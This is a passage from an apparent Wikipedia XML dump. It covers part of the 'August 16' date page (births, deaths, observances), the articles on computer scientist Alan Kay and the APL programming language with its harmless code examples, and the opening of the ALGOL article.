*[[1884]] - [[Hugo Gernsback]], Luxembourg-born editor and publisher (d. [[1967]])
*[[1888]] - [[T. E. Lawrence]], English writer and soldier (d. [[1935]])
*1888 - [[Armand J. Piron]], American musician (d. [[1943]])
*[[1892]] - [[Otto Messmer]], American cartoonist  (d. [[1983]])
*[[1894]] - [[George Meany]], American labor union leader (d. [[1980]])
*[[1895]] - [[Albert Cohen]], Swiss novelist (d. [[1981]])
*1895 - [[Liane Haid]], Austrian actress (d. [[2000]])
*[[1902]] - [[Georgette Heyer]], English novelist (d. [[1974]])
*[[1904]] - [[Wendell Meredith Stanley]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1971]])
*[[1911]] - [[E. F. Schumacher]], German economist and statistician (d. [[1977]])
*[[1912]] - [[Ted Drake]] English footballer (d. [[1995]])
*[[1913]] - [[Menachem Begin]], [[Prime Minister of Israel]], recipient of the [[Nobel Peace Prize]] (d. [[1992]])
*[[1920]] - [[Charles Bukowski]], American poet (d. [[1994]])
*[[1923]] - [[Millôr Fernandes]], Brazilian cartoonist and playwright
*[[1924]] - [[Fess Parker]], American actor
*[[1928]] - [[Ann Blyth]], American actress
*[[1929]] - [[Helmut Rahn]], German footballer (d. [[2003]])
*[[1930]] - [[Robert Culp]], American actor
*1930 - [[Frank Gifford]], American football player and announcer
*[[1931]] - [[Eydie Gorme]], American singer
*[[1933]] - [[Julie Newmar]], American actress
*[[1939]] - [[Trevor Mcdonald]] [[Order of the British Empire|OBE]], Television Newsreader
*[[1940]] - [[Bruce Beresford]], Australian film director
*[[1946]] - [[Massoud Barzani]], Iraqi Kurdish politician
*1946 - [[Lesley Ann Warren]], American actress
*[[1950]] - [[Hasely Crawford]], Trinidad and Tobago athlete
*[[1952]] - [[Reginald VelJohnson]], American actor
*[[1953]] - [[Kathie Lee Gifford]], French-born singer and actress
*[[1954]] - [[James Cameron]], Canadian film director
*[[1957]] - [[Tim Farriss]], Australian lead guitarist (INXS)
*[[1958]] - [[Angela Bassett]], American actress
*1958 - [[Madonna (entertainer)|Madonna]], American singer and actress
*[[1960]] - [[Timothy Hutton]], American actor
*[[1964]] - [[Jimmy Arias]], American tennis player
*[[1967]] - [[Ulrika Jonsson]], Swedish-born television personality
*[[1968]] - [[Mateja Svet]], Slovenian alpine skier
*[[1972]] - [[Stan Lazaridis]], Australian footballer
*[[1974]] - [[Robin Hull]], Finnish snooker player
*1974 - [[Krisztina Egerszegi]], Hungarian swimmer
*[[1976]] - [[Jonatan Johansson]], Finnish footballer
*[[1980]] - [[Vanessa Carlton]], American singer, songwriter, and pianist
*1980 - [[Robert Hardy (bassist)|Robert Hardy]], English bassist ([[Franz Ferdinand (band)|Franz Ferdinand]])
*[[1981]] - [[Taylor Rain]], American actress
*[[1987]] - [[Kyal Marsh]], Australian actor

==Deaths==
*[[1027]] - [[Giorgi I]], King of Georgia (b. [[998]])
*[[1327]] - [[Roch]], French saint
*[[1358]] - Duke [[Albert II of Austria]] (b. [[1298]])
*[[1419]] - [[Wenceslaus, King of the Romans]], King of Bohemia (b. [[1361]])
*[[1443]] - [[Ashikaga Yoshikatsu]], Japanese shogun (b. [[1434]])
*[[1518]] - [[Loyset Compère]], French composer
*[[1532]] - [[John, Elector of Saxony]] (b. [[1468]])
*[[1661]] - [[Thomas Fuller]], English churchman and historian (b. [[1608]])
*[[1678]] - [[Andrew Marvell]], English poet (b. [[1621]])
*[[1705]] - [[Jakob Bernoulli]], Swiss mathematician and scientist (b. [[1654]])
*[[1733]] - [[Matthew Tindal]], English deist (b. [[1657]])
*[[1791]] - [[Charles-François de Broglie, marquis de Ruffec]], French soldier and diplomat (b. [[1719]])
*[[1886]] - [[Ramakrishna | Sri Ramakrishna Paramahansa]], Indian guru (b. [[1836]])
*[[1893]] - [[Jean-Martin Charcot]], French neurologist (b. [[1825]])
*[[1899]] - [[Robert Wilhelm Bunsen]], German chemist (b. [[1811]])
*[[1907]] - [[James Hector]], Scottish geologist (b. [[1834]])
*[[1921]] - King [[Peter I of Serbia]] (b. [[1844]])
*[[1938]] - [[Robert Johnson]], American singer and guitarist (b. [[1911]])
*1938 - [[Andrej Hlinka]], Slovak politician and priest (b. [[1864]])
*[[1948]] - [[Babe Ruth]], baseball player (b. [[1895]])
*[[1949]] - [[Margaret Mitchell]], American novelist (b. [[1900]])
*[[1956]] - [[Bela Lugosi]], Hungarian actor (b. [[1882]])
*[[1957]] - [[Irving Langmuir]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1881]])
*[[1959]] - [[Wanda Landowska]], Polish harpsichordist (b. [[1879]])
*[[1973]] - [[Selman Waksman]], Ukrainain-born biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1888]])
*[[1975]] - [[Vladimir Kuts]], Ukrainian-born runner (b. [[1927]])
*[[1977]] - [[Elvis Presley]], American singer and actor (b. [[1935]])
*[[1979]] - [[John Diefenbaker]], thirteenth [[Prime Minister of Canada]] (b. [[1895]])
*[[1983]] - [[Earl Averill]], baseball player (b. [[1902]])
*[[1989]] - [[Amanda Blake]], American actress (b. [[1929]])
*[[2002]] - [[Abu Nidal]], Palestinian political leader (b. [[1937]])
*2002 - [[Jeff Corey]], American actor (b. [[1914]])
*[[2003]] - [[Idi Amin]], Ugandan dictator (b. [[1928]])
*[[2004]] - [[Ivan Hlinka]], Czech hockey coach (b. [[1950]])
*2004 - [[Robert Quiroga]], American boxer (b. [[1969]])
*[[2005]] - [[Frère Roger]] of Taizé, Swiss monk and mystic (b. [[1915]])

==Holidays and observances==
*[[Calendar of saints|RC saints]]: feast day of Saint [[Stephen I of Hungary]]; Saint [[Roch]] (helps against plague and skin diseases)
*[[August 16 (Eastern Orthodox liturgics)|Eastern Orthodox]]: commemoration of the translation of the [[Image of Edessa|Acheiropoietos icon]] (a.k.a. the ''Mandelion''; now lost) from Edessa to Constantinople on 16 August [[944]]
*[[Palio di Siena|Palio dell'Assunta]] in [[Siena]]
* USA: legal [[Holidays of the United States#State holidays |holiday]] in Vermont for the [[Battle of Bennington]] in [[1777]] (which actually took place in the state of New York)

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/16 BBC: On This Day]

----

[[August 15]] - [[August 17]] - [[July 16]] - [[September 16]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:16 Augustus]]
[[ar:16 أغسطس]]
[[an:16 d'agosto]]
[[ast:16 d'agostu]]
[[bg:16 август]]
[[be:16 жніўня]]
[[bs:16. august]]
[[ca:16 d'agost]]
[[ceb:Agosto 16]]
[[cv:Çурла, 16]]
[[co:16 d'aostu]]
[[cs:16. srpen]]
[[cy:16 Awst]]
[[da:16. august]]
[[de:16. August]]
[[et:16. august]]
[[el:16 Αυγούστου]]
[[es:16 de agosto]]
[[eo:16-a de aŭgusto]]
[[eu:Abuztuaren 16]]
[[fo:16. august]]
[[fr:16 août]]
[[fy:16 augustus]]
[[ga:16 Lúnasa]]
[[gl:16 de agosto]]
[[ko:8월 16일]]
[[hr:16. kolovoza]]
[[io:16 di agosto]]
[[id:16 Agustus]]
[[ia:16 de augusto]]
[[ie:16 august]]
[[is:16. ágúst]]
[[it:16 agosto]]
[[he:16 באוגוסט]]
[[jv:16 Agustus]]
[[ka:16 აგვისტო]]
[[csb:16 zélnika]]
[[ku:16'ê gelawêjê]]
[[lt:Rugpjūčio 16]]
[[lb:16. August]]
[[li:16 augustus]]
[[hu:Augusztus 16]]
[[mk:16 август]]
[[ms:16 Ogos]]
[[nap:16 'e aùsto]]
[[nl:16 augustus]]
[[ja:8月16日]]
[[no:16. august]]
[[nn:16. august]]
[[oc:16 d'agost]]
[[pl:16 sierpnia]]
[[pt:16 de Agosto]]
[[ro:16 august]]
[[ru:16 августа]]
[[sco:16 August]]
[[sq:16 Gusht]]
[[scn:16 di austu]]
[[simple:August 16]]
[[sk:16. august]]
[[sl:16. avgust]]
[[sr:16. август]]
[[fi:16. elokuuta]]
[[sv:16 augusti]]
[[tl:Agosto 16]]
[[tt:16. August]]
[[te:ఆగష్టు 16]]
[[th:16 สิงหาคม]]
[[vi:16 tháng 8]]
[[tr:16 Ağustos]]
[[uk:16 серпня]]
[[wa:16 d' awousse]]
[[war:Agosto 16]]
[[zh:8月16日]]
[[pam:Agostu 16]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Kay</title>
    <id>1449</id>
    <revision>
      <id>42107734</id>
      <timestamp>2006-03-03T21:51:20Z</timestamp>
      <contributor>
        <username>Gazpacho</username>
        <id>74520</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">[[Image:Alan-Kay.jpg|thumb|right|Alan Kay during an interview.]]
'''Alan Kay''', born [[May 17]], [[1940]], is an [[United States|American]] [[computer scientist]], known for his early work on [[object-oriented programming]] and user interface design.
Until [http://blogs.siliconvalley.com/gmsv/2005/07/hewlettpackards.html recently] he was a Senior Fellow at [[HP Labs]], an Adjunct Professor of Computer Science at the [[University of California, Los Angeles]], a Visiting Professor at [[Kyoto University]], and an Adjunct Professor at [[MIT]]. He is also the president of the [[Viewpoints Research Institute]].

== Early life and work ==
Originally from [[Springfield, Massachusetts]], Kay earned a [[Bachelor's degree]] in Mathematics and Molecular Biology from the [[University of Colorado]], and another [[Master's degree]] and Ph.D. from the [[University of Utah]].   At the University of Utah in the 1960s, Kay worked with [[Ivan Sutherland]] on pioneering graphics applications including [[Sketchpad]]. Around this time, he also worked as a professional [[jazz]] guitarist.

Kay joined [[Xerox]] Corporation's [[Palo Alto, California|Palo Alto]] Research Center ([[Xerox PARC|PARC]]) in 1970. In the seventies he was one of the key members there to develop prototypes of networked workstations using the programming language [[Smalltalk]]. These inventions were later commercialized by [[Apple Computer|Apple]] in the [[Apple Macintosh]].

Kay is one of the fathers of the idea of object-oriented programming, along with some colleagues at PARC and predecessors at the [[Norwegian Computing Centre]]. He is the conceiver of the [[Dynabook]] concept which defined the basics of the laptop computer and the tablet computer and he is also considered by some as the architect of the modern windowing [[graphical user interface]] (GUI).  

After 10 years at Xerox PARC, Kay became [[Atari]]'s chief scientist for three years. 

== Recent work and recognition ==
Starting in 1984, Kay was a Fellow at [[Apple Computer]] until [[Steve Jobs]] eliminated the company's R&amp;D group. He then joined [[Walt Disney Imagineering]] as a [[Disney Fellow]] and remained there until Disney ended its Disney Fellow program. After Disney, Kay worked with a team at [[Applied Minds]], then became a Senior Fellow at [[Hewlett-Packard]] until HP disbanded the Advanced Software Research Team on July 20 2005.  He is currently head of Viewpoints Research Institute.

=== Squeak and Croquet development ===
Kay collaborated with many others to start the open source [[Squeak]] dynamic media software in December 1995 when he was still at Apple, and he continues to work on it. More recently he started, along with [[David A. Smith]], [[David P. Reed]], Andreas Raab, [[Julian Lombardi]], and [[Mark McCahill]], the [[Croquet project]], which seeks to offer an open source networked 3D environment for collaborative work.

===$100 laptop===
At the [[World Summit on the Information Society]] in November 2005, the MIT research laboratories unveiled a new [[$100 laptop]] co-developed by Kay for students around the world.

=== Awards and honors ===
In 2001 Alan Kay received the [http://www.udk-berlin.de/doku/award.html UdK 01-Award] in [[Berlin]], [[Germany]] for pioneering the [[GUI]].

In 2003 he received the ACM [[Turing Award]] for his work on [[object oriented programming]].

In 2004 he received the  [[Kyoto Prize]] and the [[Charles Stark Draper]] Prize along with [[Butler W. Lampson]], [[Robert W. Taylor]] and [[Charles P. Thacker]]

In 2005 he received an honorary doctoral degree from the [[Georgia Institute of Technology]].

&lt;!-- in 2004??, he became an honorary professor at the [[Berlin University of the Arts]]. --&gt;

== Personal Background==
Kay is an avid and gifted musician who plays keyboards and guitar.  He has a special interest in the baroque pipe organ, early keyboard instruments and guitar.  He was a former professional jazz and rock and roll guitarist.    He is married to [[Bonnie MacBird]], a writer/producer/actor/artist.

== External links ==
{{wikiquote}}
* [http://www.mprove.de/diplom/referencesKay.html Detailed Alan Kay bibliography]
* [http://www.mrl.nyu.edu/~noah/nmr/book_samples/nmr-26-kay.pdf Personal Dynamic Media] &amp;ndash; By Alan Kay and [[Adele Goldberg (computer scientist)|Adele Goldberg]]
*[http://www.hp.com/hpinfo/newsroom/feature_stories/2002/alankaybio.html Alan Kay's HP bio]
*[http://www.fortune.com/fortune/fastforward/0,15704,661671,00.html ''A PC Pioneer Decries the State of Computing''] &amp;ndash; By David Kirkpatrick, ''[[Fortune magazine]]'', [[8 July]] [[2004]] (Available for fee)
*[http://www.archive.org/search.php?query=alan%20kay Doing with Images Makes Symbols: Communicating with Computers] Video lecture by Alan Kay with lots of examples of early graphic user interfaces
*[http://www.educause.edu/LibraryDetailPage/666?ID=COM9802 The Computer &quot;Revolution&quot; Hasn't Happened Yet!] talk at EDUCOM 1998 (computers in education)
*[http://www.ecotopia.com/webpress/futures.htm Predicting the Future] remarks from 1989 Stanford Computer Forum
*[http://www.csupomona.edu/%7eitac/mediavision/streaming/tae/alan_kay.html Education in the Digital Age] talk
*[http://acmqueue.com/modules.php?name=Content&amp;pa=showpage&amp;pid=273 A Conversation with Alan Kay] Big talk with the creator of Smalltalk—and much more. 
*[http://thinkubator.ccsp.sfu.ca/Dynabook From Dynabook to Squeak - A Study in Survivals] listof links tracing the evolution of Kay's vision
*[http://gagne.homedns.org/~tgagne/contrib/EarlyHistoryST.html The Early History of Smalltalk]
*[http://www.windley.com/archives/2006/02/alan_kay_is_com.shtml The Best Way to Predict the Future is to Prevent It] 
*[http://www.windley.com/archives/2006/02/alan_kay_the_10.shtml The $100 Laptop, Learners, and Powerful Ideas]

[[Category:1940 births|Kay, Alan]]
[[Category:Living people|Kay, Alan]]
[[Category:American computer programmers|Kay, Alan]]
[[Category:American computer scientists|Kay, Alan]]
[[Category:Apple employees|Kay, Alan]]
[[Category:Computer pioneers|Kay, Alan]]
[[Category:Disney Imagineers|Kay, Alan]]
[[Category:Hewlett-Packard people|Kay, Alan]]
[[Category:Human-computer interaction notables|Kay, Alan]]
[[Category:People from Massachusetts|Kay, Alan]]
[[Category:Turing Award laureates|Kay, Alan]]

[[de:Alan Kay]]
[[eo:Alan KAY]]
[[fr:Alan Kay]]
[[it:Alan Kay]]
[[ja:アラン・ケイ]]
[[nl:Alan Kay]]
[[pt:Alan Kay]]</text>
    </revision>
  </page>
  <page>
    <title>APL programming language</title>
    <id>1451</id>
    <revision>
      <id>42006462</id>
      <timestamp>2006-03-03T04:26:22Z</timestamp>
      <contributor>
        <username>KymFarnik</username>
        <id>170535</id>
      </contributor>
      <minor />
      <comment>/* Calculation */ Drop Appears - wrong</comment>
      <text xml:space="preserve">'''APL''' (for '''A Programming Language''') is an [[array programming]] language based on a notation invented in [[1957]] by [[Kenneth E. Iverson]] while at [[Harvard University]]. It originated in an attempt to provide consistent notation for the teaching and analysis of topics related to the application of computers. The notation was later used to describe the [[IBM]] [[System/360]] machine architecture, a description much more concise and exact than the existing documentation and revealing several previously unnoticed problems. Then, a [[IBM Selectric typewriter|Selectric]] typeball was made to write a linear representation of this notation. In [[1964]] a subset of the notation was implemented as a programming language.

Dr. Iverson published his notation in [[1962]] in a book titled ''A Programming Language'' and APL got its name from the title of this book. Iverson received the [[Turing Award]] in [[1979]] for his work. As with all programming languages that have had several decades of continual use, APL has changed significantly from the notation described by Iverson in his book. One thing that has remained constant is that APL is [[interpreted programming language|interpretive]] and [[interactive]], features much appreciated by its users. Conversely, its initial lack of support for both [[structured programming|structured]] and [[modular programming|modular]] programming has been solved by all the modern APL incarnations. One much criticized aspect still remains, though: the use of a special character set (see [[APL programming language#Character set|Character set]] below.) These characters have all been incorporated into Unicode, which is now the base character set of several APL products. There is also a pure ASCII reworking of APL called [[J programming language|J]], with greatly increased expressive power.

{{SpecialCharsNote}}

==Overview==
Over a very wide set of problem domains (math, science, engineering, computer design, robotics, data visualization, actuarial science, traditional DP, etc.) APL is an extremely powerful, expressive and concise programming language, typically set in an interactive environment. It was originally created as a way to describe computers, by expressing [[mathematical notation]] in a rigorous way that could be interpreted by a computer. It is easy to learn but APL programs can take some time to understand.  Unlike traditional structured programming languages, code in APL is typically structured as chains of [[monadic]] or [[dyadic]] [[function (programming)|function]]s and [[operator]]s acting on [[array]]s. Because APL has so many nonstandard ''primitives'' (functions, operators, or features built into the language and indicated by a single symbol or a combination of a few symbols), APL does not have function or [[operator precedence]]. The original APL did not have [[control flow|control structure]]s (loops, if-then-else), but the array operations it included could simulate [[structured programming]] constructs. For example, the iota function (which yields an array from 1 to N) can simulate for-loop [[iteration]]. More recent implementations of APL generally include explicit control structures, so that data structure and control-flow structure can be more clearly separated.

The APL environment is called a ''workspace''. In a workspace the user can define programs and data, i.e. the data values exist also outside the programs, and the user can manipulate the data without the necessity to define a program, for example:

:&lt;math&gt;N \leftarrow  4\ 5\ 6\ 7&lt;/math&gt;

Assign the [[coordinate vector|vector]] values  4 5 6 7 to N.

:&lt;math&gt;N+4\,\!&lt;/math&gt;  

Add 4 to all values (giving 8  9 10 11) and Print them (absence of the assignment arrow means &quot;show&quot;).

:&lt;math&gt;+/N\,\!&lt;/math&gt;

Print the sum of N, i.e. 22.


The user can save the workspace with all values, programs and execution status. In any case, the programs are usually not [[compiled language|compiled]] but [[interpreted language|interpreted]]. A commercial compiler was brought to market by STSC (now Manugistics).

APL is well-known for its use of a set of non-[[ASCII]] symbols that are an extension of traditional arithmetic and algebraic notation.  These cryptic symbols, some have joked, make it possible to construct an entire [[air traffic control]] system in two lines of code. Indeed, in some versions of APL, it is theoretically possible to express any computable function in one expression, that is in one line of code. You can use the other line for I/O, or constructing a GUI. Because of its condensed nature and non-standard characters, APL has sometimes been termed a &quot;[[write-only language]]&quot;, and reading an APL program can at first feel like decoding an alien tongue.  Because of the unusual [[character set]], many programmers used special APL [[computer keyboard|keyboard]]s in the production of APL code. Nowadays there are various ways to write APL code using only ASCII characters. Indeed most if not all modern implementations use the standard keyboard, displaying APL symbols by use of a particular font.

Advocates of APL claim that the examples of &quot;write-only&quot; code are almost invariably examples of poor programming practice or novice mistakes, which can occur in any language.  However, when implementing an APL module to be run using an interpreter (as was usual), a common tactic was to initially implement the module as separate, mostly understandable lines.  Once the logic was verified, the lines would then be merged into one line for optimal processing in the interpreter.  These APL one-liners, as they were called, were incomprehensible when viewed even a short time later.  The accomplished APL programmer would document the function of the module in comments- if it had to be changed, the code would be discarded and re-implemented.

APL has perhaps had an unusually high percentage of users who are subject-matter experts who know some APL, rather than professional programmers who know something about a subject.

Iverson designed a successor to APL called [[J programming language|J]] which
uses ASCII &quot;natively&quot;.  So far there is only a single source of J implementations: http://www.jsoftware.com/ Other programming languages offer functionality similar to APL. [http://www.aplusdev.org/ A+] is an [[open source]] programming language with many commands identical to APL.

==Examples==
Here's how you would write a program that would [[sorting|sort]] a word list stored in matrix X according to word length:

 X[⍋X+.≠' ';]

Here's a program that finds all [[prime number]]s from 1 to R:

:&lt;math&gt;\left(\sim R \in R \circ . \times R\right)/R \leftarrow 1 \downarrow \iota R&lt;/math&gt;

Here's how to read it, from right to left:

#&lt;math&gt;\iota\,\!&lt;/math&gt; creates a vector containing [[integer]]s from 1 to R (if R = 6 at the beginning of the program, &lt;math&gt;\iota R\,\!&lt;/math&gt; is 1 2 3 4 5 6)
#Drop first element of this vector (&lt;math&gt;\downarrow&lt;/math&gt; function), i.e. 1. So &lt;math&gt;1 \downarrow \iota R&lt;/math&gt; is 2 3 4 5 6
#Set R to the vector (&lt;math&gt;\leftarrow&lt;/math&gt;, assignment primitive)
#Generate outer product of R multiplied by R, i.e. a matrix which is the ''[[multiplication table]]'' of R by R (&lt;math&gt;\circ . \times&lt;/math&gt;function)
#Build a vector the same length as R with 1 in each place where the corresponding number in R is in the outer product matrix (&lt;math&gt;\in&lt;/math&gt;, set inclusion function), i.e. 0 0 1 0 1
#Logically negate the values in the vector (change zeros to ones and ones to zeros) (&lt;math&gt;\sim&lt;/math&gt;, negation function), i.e. 1 1 0 1 0
#Select the items in R for which the corresponding element is 1 (&lt;math&gt;/\,\!&lt;/math&gt; function), i.e. 2 3 5

==Calculation==
APL was unique in the speed with which it could perform complex matrix operations.  For example, a very large matrix multiplication would take only a few seconds on a machine which was much less powerful than those today.  There were some technical and other economic reasons for this advantage:
*  Commercial interpreters delivered highly-tuned linear algebra library routines.
*  Very low interpretive overhead was incurred per-array&amp;mdash;not per-element.
*  APL response time compared favorably to the runtimes of early optimizing compilers.

A widely cited paper &quot;The APL Machine&quot; perpetuated the myth that APL made pervasive use of [[lazy evaluation]] where calculations would not actually be performed until the results were needed and then only those calculations strictly required.  Although this technique was used by just a few implementations, it embodies the language's best survival mechanism: not specifying the order of scalar operations.  Even as eventually standardized by X3J10, APL is so highly data-parallel, it gives language implementers immense freedom to schedule operations as efficiently as possible.  As computer innovations such as [[cache memory]], and [[SIMD]] execution became commercially available, APL programs ported with little extra effort spent re-optimizing low-level details.

==Terminology==
APL makes a clear distinction between ''functions'' and ''operators''. Functions take values (variables or constants or expressions) as arguments, and return values as results. Operators take functions as arguments, and return related, derived, functions as results. For example the &quot;sum&quot; function is derived by applying the &quot;reduction&quot; operator to the &quot;addition&quot; function. Applying the same reduction operator to the &quot;ceiling&quot; function (which returns the larger of two values) creates a derived &quot;maximum&quot; function, which returns the largest of a group (vector) of values. In the J language, Iverson substituted the terms 'verb' and 'adverb' for 'function' and 'operator'.

APL also identifies those features built into the language, and represented by a symbol, or a fixed combination of symbols, as ''primitives''. Most primitives are either functions or operators. Coding APL is largely a process of writing non-primitive functions and (in some dialects of APL) operators. However a few primitives are considered to be neither functions nor operators, most noticeably assignment.

==Character set==
APL has always been criticized for its choice of a unique, non-standard character set. The fact that those who learn it usually become ardent adherents shows that there is some weight behind Iverson's idea that the notation used does make a difference. In the beginning, there were few terminal devices which could reproduce the APL character set &amp;mdash; the most popular ones employing the [[IBM]] [[Selectric]] print mechanism along with a custom type element.  With the popularization of the [[Unicode]] standard, which contains an APL character set, the eternal problem of obtaining the required particular fonts seems poised to go away.

== APL symbols and keyboard layout==

[[image:APL_keyboard.gif|center|frame|APL keyboard with special characters]]

Note the mnemonics associating an APL character with a letter: ''question mark'' on ''Q'', ''power'' on ''P'', ''rho'' on ''R'', ''base value'' on ''B'', ''eNcode'' on ''N'', ''modulus'' on ''M'' and so on. This makes it easier for an English-language speaker to type APL on a non-APL keyboard providing one has visual feedback on one's screen.

All APL symbols are present in [[Unicode]]:&lt;br /&gt;
&lt;small&gt;It may be required to significantly reconfigure your browser in order to display Unicode fonts.&lt;/small&gt;

{|
|- align=center
|&amp;#x27; || ( || ) || + ||, || - || . || / || : || ; || &amp;lt; || = || &amp;gt; || ? || [ || ]
|- align=center
| \ || _ ||&amp;#xA8; || &amp;#xAF; || &amp;#xD7; || &amp;#xF7; || &amp;#x2190; || &amp;#x2191; || &amp;#x2192; || &amp;#x2193; ||&amp;#x2206; || &amp;#x2207; || &amp;#x2218; || &amp;#x2223; || &amp;#x2227; || &amp;#x2228;
|- align=center
| &amp;#x2229; || &amp;#x222A; || &amp;#x223C; || &amp;#x2260; || &amp;#x2264; || &amp;#x2265; || &amp;#x226C; || &amp;#x2282; || &amp;#x2283; || &amp;#x2308; ||&amp;#x230A; || &amp;#x22A4; || &amp;#x22A5; || &amp;#x22C6; || &amp;#9014; || &amp;#9015;
|- align=center
| &amp;#9016; || &amp;#9017; || &amp;#9018; || &amp;#9019; || &amp;#9020; || &amp;#9021; || &amp;#9022; || &amp;#9023; || &amp;#9024; || &amp;#9025; || &amp;#9026;||&amp;#9027; || &amp;#9028; || &amp;#9029; || &amp;#9030; || &amp;#9031;
|- align=center
| &amp;#9032; || &amp;#9033; || &amp;#9034; || &amp;#9035; || &amp;#9036; || &amp;#9037; || &amp;#9038; || &amp;#9039; || &amp;#9040; || &amp;#9041; || &amp;#9042; ||&amp;#9043; || &amp;#9044; || &amp;#9045; || &amp;#9046; || &amp;#9047;
|- align=center
| &amp;#9048; || &amp;#9049; || &amp;#9050; || &amp;#9051; || &amp;#9052; || &amp;#9053; || &amp;#9054; || &amp;#9055; || &amp;#9056; || &amp;#9057; || &amp;#9058; ||&amp;#9059; || &amp;#9060; || &amp;#9061; || &amp;#9062; || &amp;#9063;
|- align=center
| &amp;#9064; || &amp;#9065; || &amp;#9066; || &amp;#9067; || &amp;#9068; || &amp;#9069; || &amp;#9070; || &amp;#9071; || &amp;#9072; || &amp;#9073; || &amp;#9074; ||&amp;#9075; || &amp;#9076; || &amp;#9077; || &amp;#9078; || &amp;#9079;
|-align=center
| &amp;#9080; || &amp;#9081; || &amp;#9082; || &amp;#x2395; || &amp;#x25CB;
|}

===See also:===
*[[APL function symbols]] for a list of built-in monadic and dyadic functions and their Unicode representation.
*[[IBM]] [[3270]] [[Computer keyboard|Keyboard]] layout for '''APL'''[http://publib.boulder.ibm.com/infocenter/pcomhelp/topic/com.ibm.pcomm.doc/kbd_reference05.htm#FIGTYPE1]

==Usage==
APL has long had a small but fervent user base. It has been particularly popular in financial and insurance applications, in simulations, and in some mathematical applications. But APL has been used in a wide variety of contexts and for many and varied purposes.

==Standardization==
APL has been standardized by the [[American National Standards Institute|ANSI]] [[working group]] X3J10 and [[International Organization for Standardization|ISO]]/[[International Electrotechnical Commission|IEC]] Joint Technical Committee 1 Subcommittee 22 Working Group 3. The Core APL language is specified in ISO 8485:1989, and the Extended APL language is specified in ISO/IEC 13751:2001.

==Quotes==
* &quot;APL, in which you can write a program to simulate shuffling a deck of cards and then dealing them out to several players in four characters, none of which appear on a standard keyboard.&quot;
** [[David Given]]
* &quot;APL is a mistake, carried through to perfection. It is the language of the future for the programming techniques of the past: it creates a new generation of coding bums.&quot;
** [[Edsger Dijkstra]], [[1968]]
* &quot;By the time the practical people found out what had happened; APL was so important a part of how IBM ran its business that it could not possibly be uprooted.&quot;
** [[Micheal S. Montalbano]] [[1982]] (see [http://ed-thelen.org/comp-hist/APL-hist.html A Personal History of APL])

==Awards==
There is an annual award for contributions to APL, the [[Iverson Award]] named after the language's creator.

== See also==
* [[IBM 1130]]: APL \ 1130 was an early implementation (circa 1970) of APL on the IBM 1130
* [[J programming language|J]]: APL's successor, by [[Kenneth E. Iverson]] and [[Roger Hui]]
* [[K programming language|K]]: an alternative APL successor, by Arthur Whitney
* [[Nial]]

== References ==
* ''A Programming Language'' (1962), by [[Kenneth E. Iverson]]
* ''A formal description of SYSTEM/360'', IBM Systems Journal 3:3, New York: 1964
* ''[[History of Programming Languages]]'', chapter 14

== External links to articles ==
*[http://www.research.ibm.com/journal/sj/032/falkoff.pdf ''A Formal Description of SYSTEM/360''] (1964 article by Adin D. Falkoff, Kenneth E. Iverson, Edward H. Sussenguth)
*[http://www.slac.stanford.edu/pubs/slacreports/slac-r-114.html ''An APL Machine''] (1970 Stanford doctoral dissertation by Philip Abrams)
*[http://www.research.ibm.com/journal/rd/174/ibmrd1704F.pdf ''The Design of APL''] (1973 article by Adin D. Falkoff and [[Kenneth E. Iverson]])
*[http://www.research.ibm.com/journal/sj/304/ibmsj3004C.pdf ''The IBM Family of APL Systems''] (1991 article by Adin D. Falkoff)
*[http://elliscave.com/APL_J/IversonAPL.htm ''A Personal view of APL''] by [[Kenneth E. Iverson]]

== External links ==
*[http://www-306.ibm.com/software/awdtools/apl/ APL2 available from IBM]
*[http://www.users.cloud9.net/~bradmcc/APL.html APL - A Programming Language]
*[http://www.rexswain.com/aplinfo.html Rex Swain's APL info]
*[http://www.acm.org/sigs/sigapl/ SIGAPL Home Page]
*[http://www.apl2c.de/home/ APL2C Compiler]
*Sam Sirlin's [http://home.earthlink.net/~swsirlin/apl.faq.html APL FAQ] ([[FAQ|Frequently Asked Questions]] list)
*[http://www.classiccmp.org/bitsavers/pdf/ibm/apl/ Scanned manuals for early APL implementations] (APL \ 360 and APL \ 1130)
*[http://ed-thelen.org/comp-hist/APL-hist.html A Personal History Of APL] by Micheal S. Montalbano
*[http://42mag.com/michael/apl/index.html Conway's Game of Life in one line of APL]
*[http://www.jsoftware.com/ J] is Iverson's reworking of APL to use the standard ASCII font
*[http://www.aplusdev.org/ A+] is an open source programming language with many commands identical to APL

{{Major programming languages small}}

==Special characters==
{{SpecialChars}}

[[Category:Programming languages]]
[[Category:Array programming languages]]
[[Category:Functional languages]]
[[Category:Dynamic programming languages]]
[[Category:APL programming language family]]

[[da:APL]]
[[de:APL (Programmiersprache)]]
[[es:APL]]
[[eo:APL]]
[[fr:APL (langage)]]
[[it:APL]]
[[nl:APL]]
[[ja:APL]]
[[pl:APL (język programowania)]]
[[ru:АПЛ (язык программирования)]]
[[fi:APL (ohjelmointikieli)]]
[[sv:APL]]
[[zh:APL]]</text>
    </revision>
  </page>
  <page>
    <title>ALGOL</title>
    <id>1453</id>
    <revision>
      <id>42020475</id>
      <timestamp>2006-03-03T06:57:11Z</timestamp>
      <contributor>
        <username>DNewhall</username>
        <id>60806</id>
      </contributor>
      <minor />
      <comment>Bolded keyword in code example.</comment>
      <text xml:space="preserve">{{Otheruses2|Algol}}
'''ALGOL''' (short for '''ALGO'''rithmic '''L'''anguage) is a family of [[imperative programming|imperative]] [[computer programming|computer]] [[programming language]]s originally developed in the mid [[1950s]] which became the ''de facto'' standard way to report algorithms in print for almost the next 30 years. It was designed to avoid some of the perceived problems with [[FORTRAN]] &lt;!--using uppercase name because of the sentential context--&gt; and eventually gave rise to many other programming languages (including [[Pascal programming language|Pascal]]). ALGOL uses bracketed statement blocks and was the first language to use '''begin''' '''end''' pairs for delimiting them. Fragments of ALGOL-like syntax are sometimes still used as a notation for [[algorithm]]s, so-called [[Pidgin Algol]].

